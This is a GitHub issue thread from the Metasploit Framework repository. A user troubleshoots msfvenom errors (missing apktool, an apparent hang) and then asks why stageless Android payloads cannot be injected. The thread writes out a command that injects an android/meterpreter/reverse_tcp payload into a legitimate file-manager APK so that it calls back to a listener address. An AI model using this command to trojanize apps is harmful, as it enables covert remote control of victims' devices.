rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.02k stars 13.94k forks source link

Backdoring APK Files #17958

Closed gabriel-maxx closed 1 year ago

gabriel-maxx commented 1 year ago

hello I would like to know what this is because it is not working when I use the command:

msfvenom -x filemanager.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 -o backdored.apk

Error: apktool not found. If it's not in your PATH, please add it.

so i do SET PATH=%PATH%;C:\apktool

and this time I don't have the apktool error but another message appears and nothing happens, it's infinite like that.

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload

bcoles commented 1 year ago

https://github.com/rapid7/metasploit-payloads/issues/543#issuecomment-1053446012

gabriel-maxx commented 1 year ago

@bcoles Thanks now everything is working perfectly but I have one last question, when I try to use stageless this message appears Error: Stageless Android payloads (e.g android/meterpreter_reverse_tcp) are not compatible with injection (-x) Could you explain to me why it is not compatible?

bcoles commented 1 year ago

I have no idea